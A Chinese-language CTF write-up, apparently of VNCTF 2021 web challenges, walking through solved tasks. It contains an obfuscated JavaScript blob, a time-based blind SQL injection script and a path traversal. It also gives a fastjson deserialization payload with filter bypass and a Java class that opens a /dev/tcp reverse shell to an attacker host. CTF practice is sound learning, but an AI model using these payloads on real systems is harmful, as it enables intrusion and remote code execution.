文章目錄

• 前言
• • Ez_game
  • naive
  • realezjvav
  • Easy_laravel

前言

這次比賽題目質量很好，本菜雞做出了兩道web題目，還是比較開心，只是賽后復現laravel一天半也沒有成功，我好自閉啊

Ez_game

在game.js里面發現,直接放到console里面跑，得到flag

["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118h97x114w32l95m95N101x110O99d111B100u101w32F61P32u39R106k115w106O105F97z109R105f46p99y111A109U39d44F10G32U32F32r32G95V97p32D61Y32X123W125h44r10M32V32P32x32h95X48M120O98J52A56I51A32r61d32v91o34Q95c100n101M99e111I100l101I34b44r32X34r104N116Z116m112B58A47b47P119M119d119M46z115W111I106V115f111s110m46J99D111W109Z47g106R97c118D97F115L99I114Y105F112v116E111l98m102Q117d115E99x97K116r111U114v46s104d116B109F108Z34e93B59q10m40r102O117f110Z99D116D105a111a110u40Y95J48O120H100Q54k52k50e120I49a41P32f123s10E32j32I32d32K95E48D120k100R54S52g50O120H49y91J95q48X120w98C52a56R51E91m48B93c93E32d61e32w95X48v120b98L52e56b51O91m49b93C10Q125V41N40t95r97g41L59X10M118d97I114t32E95f95x79y120f97D50O55p56y49X32I61j32A91K34i34t44h32L34a45m112w97p117H115M101E100z45m34r44g32Q34y87v105k110E33A32h102S108G97y103u123E116k104V105l115E95F103u97g109Y101I95l105R115A95x102G117h110l110E121M33B125f34N44c32q34f71C97L109O101x32c79k118R101J114R33b34L44V32h34U80g114e101b115c115t32c69w115I99g97u112W101z34C44h32d34a120f34k44B32W34i121H34q44x32P34E99x101x110k116J101Z114j34c44B32s34B117V110j100K101A102U105M110L101x100T34k44u32U34R108t111X103q34W44p32M34o21024U38500O34R44T32u34a29256O26412t21495E65292k106N115v20250y23450F34N44f32V34Q26399e24377C31383B65292R34u44t32j34y36824A35831C25903t25345D25105o20204W30340R24037P20316L34R44y32w34o106Z115A106T105F97b34i44a32m34u109T105L46e99p111F109l34U93m59Y10u108S101q116s32P98f105A103l84N101h120n116V32A61B32t95V95W79u120a97z50N55J56g49r91g48C120L48a93r59K10k105U102S32K40X112d97m117q115P101T100A41S32r123R10r32D32a32X32t98Y105Y103N84I101p120j116U32e61J32R95g95v79i120F97F50n55h56H49d91S48x120N49u93H10C125z59O10C105W102e32t40G119n105T110x84r105G109Y101W114q46C73s115m83G101O116j40m41O41R32S123R10c32I32b32A32V98x105X103v84E101b120V116V32L61P32N95e95u79I120v97W50T55W56i49S91j48m120O50d93k10g125J59G10Q105p102m32Y40O112J108s97c121w101U114u46P73a115D68E101Y97D100E40g41g41Q32Y123r10K32X32T32q32r98b105q103i84o101V120D116v32N61H32b95R95J79q120i97q50X55o56g49G91T48Z120F51G93l59k10c32v32f32e32P68u114l97N119q84f101x120z116m40j95r95I79n120R97E50x55o56h49y91p48Q120z52L93g44k32E109H97Q105E110w67Z97l110d118S97M115j83a105B122j101E91p95n95Y79U120S97H50C55a56l49E91z48w120A53C93Y93I32b47M32o50R44R32w109n97U105b110j67h97M110H118j97X115g83D105M122n101W91J95q95y79x120i97R50Y55z56s49N91z48v120R54s93a93S32I47z32A50k32w43S32f56j48j44T32B52Y50c41O10V125M59f10h68n114V97m119f84G101C120P116u40E98i105M103U84C101e120d116q44f32Z109v97i105R110G67u97m110Q118e97n115K83G105V122M101j91Q95Y95y79M120f97G50k55i56C49c91x48j120R53F93a93L32b47p32Z50k44a32l109c97r105A110W67i97Y110t118H97y115J83H105C122r101R91a95L95s79a120d97M50G55H56k49O91m48p120R54y93d93J32x47y32c50c32Y45d32C56M48i44r32b55G50f44j32x95j95r79S120i97g50J55V56a49a91Y48f120w55c93M44M32s50p41D59x59h59g10r40L102e117n110g99S116k105D111t110Y40M95J48s120f53y49N57K55H120Y50z44F32z95B48b120t53z49A57D55X120n51H44w32o95P48t120g53n49M57G55n120T52U44D32B95A48B120Z53K49H57t55X120d53L44f32o95J48R120D53s49H57d55J120b54Y44w32U95u48g120J53Q49v57B55s120a55H41z32L123K10G32X32F32V32W95k48o120T53S49I57d55s120i55d32O61X32n95B95n79d120E97E50s55o56w49j91N48z120D56R93R59j10p32Q32s32e32H95F48O120Y53F49C57W55r120q53M32f61U32Y102R117F110N99c116V105r111y110w40I95X48h120s53Y49o57q55k120o56Q41f32S123S10R32C32B32t32f32r32q32F32Z105Y102S32o40c116E121R112d101G111f102m32p97d108Q101M114s116V32G33s61C61z32B95p48W120e53S49y57p55Q120C55o41q32L123z10I32u32a32y32W32e32b32h32W32s32m32l32c97I108C101N114t116V40P95w48X120x53F49M57d55B120x56u41F10C32F32A32B32h32F32r32y32w125L59G10o32f32T32O32T32O32c32H32D105d102v32H40i116V121a112R101e111G102B32D99O111n110L115o111X108W101S32D33C61H61G32o95u48e120z53k49d57j55s120E55m41p32c123o10V32I32B32R32A32Y32N32H32E32R32l32V32P99D111R110i115r111m108h101D91Z95i95s79g120K97d50W55w56r49n91E48l120W57W93F93R40P95D48G120q53Q49d57p55q120M56R41F10q32C32N32u32X32T32E32d32X125W10D32P32h32i32Y125N59D10v32J32C32X32B95V48w120K53C49I57r55I120E52C32Q61E32X102o117o110I99u116M105C111z110h40v95g48L120b53d49q57e55J120L57j44C32F95R48X120M53S49U57w55h120I50w41W32r123j10q32e32k32e32y32Z32I32g32z114c101D116A117A114V110w32x95p48H120k53O49r57b55Z120w57Q32N43M32A95I48z120M53A49S57s55K120o50o10u32y32k32j32u125a59j10u32S32S32n32p95A48s120k53a49M57F55J120J54G32c61R32l95c48X120C53s49q57U55V120E52N40A95t95T79x120Q97R50o55F56e49Y91i48G120p97P93y44S32J95k48r120q53g49i57E55x120D52O40N95H48S120d53i49M57H55x120e52e40X95k95Z79q120C97l50T55K56I49k91R48o120g98g93Q44v32r95R95K79W120N97u50A55v56Z49m91A48x120X99H93x41y44T32w95n95v79i120g97E50y55h56m49C91X48S120N100w93n41q41b59M10I32e32F32g32e116J114t121I32r123N10M32J32N32m32j32l32J32g32X95n48g120l53X49b57l55D120p50s32b61T32f95W95E101N110o99c111M100M101Q59f10J32k32y32K32B32F32X32R32K105d102c32b40e33U40o116q121j112D101A111D102c32x95p48o120R53a49b57S55d120M50d32p33q61s61o32d95z48B120A53s49S57t55a120j55H32B38S38e32N95i48L120O53j49W57O55V120P50X32o61Y61i61k32P95j48M120Z53O49t57W55P120p52V40d95N95y79a120X97r50t55o56v49a91I48m120m101p93B44T32V95b95j79s120M97q50p55j56G49A91g48i120O102U93G41y41a41i32F123F10O32Z32o32T32P32e32Z32K32T32h32z32d32b95l48V120H53v49J57I55L120w53J40n95M48o120F53C49d57W55e120S54R41U10U32u32C32c32x32z32y32J32F125L10H32K32G32r32d125e32A99A97l116x99y104R32H40B101U41W32j123A10m32t32b32L32A32A32B32D32Z95t48z120m53V49N57N55B120x53Z40m95k48c120A53L49M57V55R120l54U41X10E32R32G32Q32q125U10D125p41P40A123E125S41"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))[0];

得到flag{this_game_is_funny!}

naive

已經寫過了，不想在寫第二次放上鏈接
https://blog.csdn.net/solitudi/article/details/114849641?spm=1001.2014.3001.5501

realezjvav

是跟著出題人的wp學習的，不過里面有很多坑，后來是找了網上很多相關文章才最終成功！！！
在分析前先下載https://github.com/CaijiOrz/fastjson-1.2.47-RCE，
我比賽的時候只測試了用戶名哪里有，密碼那里沒有測試，活該我沒注入出來，這里直接把 出題人的話偷過來
第一關是笛卡爾積注入，根據測試[tables 、 tables 、 columns]的組合大概6秒左右一次，其他的方式略長或太短。

import requests import time url = "http://192.168.0.104:8080/user/login" i = 0 flag = "" while True :i += 1head = 32tail = 126while head < tail :mid = head + tail >> 1payload = "a' or (if(ascii(substr(password,%d,1))>%d,(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,information_schema.columns/**/B,information_schema.tables/**/C),1))#" % (i,mid)data = {"username":"admin" , "password" : payload} start_time = time.time()r = requests.post(url,data = data)print(data['password'])end_time = time.time()if end_time - start_time > 3:head = mid + 1else :tail = midif head!=32:flag += chr(head)print(flag)else :break

最后得到密碼是no_0ne_kn0w_th1s
登陸后創建角色以后，發現隱藏路由searchimage路由可以任意文件讀取，因為是spring項目所以我們嘗試去讀取pom.xml，拼接searchimage?img=../../../../../pom.xml
發現

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.27</version> </dependency>

很明確，不難發現是fastjson1.2.47的利用,這時候打開自己的vps
輸入啟動ldap服務，默認是1389端口，記得放行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#Exploit

接下來用這個Exp,改一個ip和端口即可，注意一定要放在帶http服務帶目錄下

import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {} }

在網站目錄下運行

javac Exploit.java

生成class文件，接下來
http://4043abe3-366b-4fbb-9dd6-f12776e69095.node3.buuoj.cn/createpost數據

roleJson={"name":"Harry_Potter"}

接下來直接post網上帶poc會發現有過濾，繞過過濾可以使用unicode編碼
因此post（在這之前記得nc開啟監聽接收shell）

{"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://ip:port/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}

接收到shell之后執行即可獲得flag

cat /flag*

Easy_laravel

我要哭泣！！！，題目環境有問題，太委屈了，賽后復現簡直折磨死我了,最后通過看網上別的師傅對wp做出來，這里放出鏈接
https://lemonprefect.cn/WriteUps/VNCTF%202021.html，就不寫了

總結

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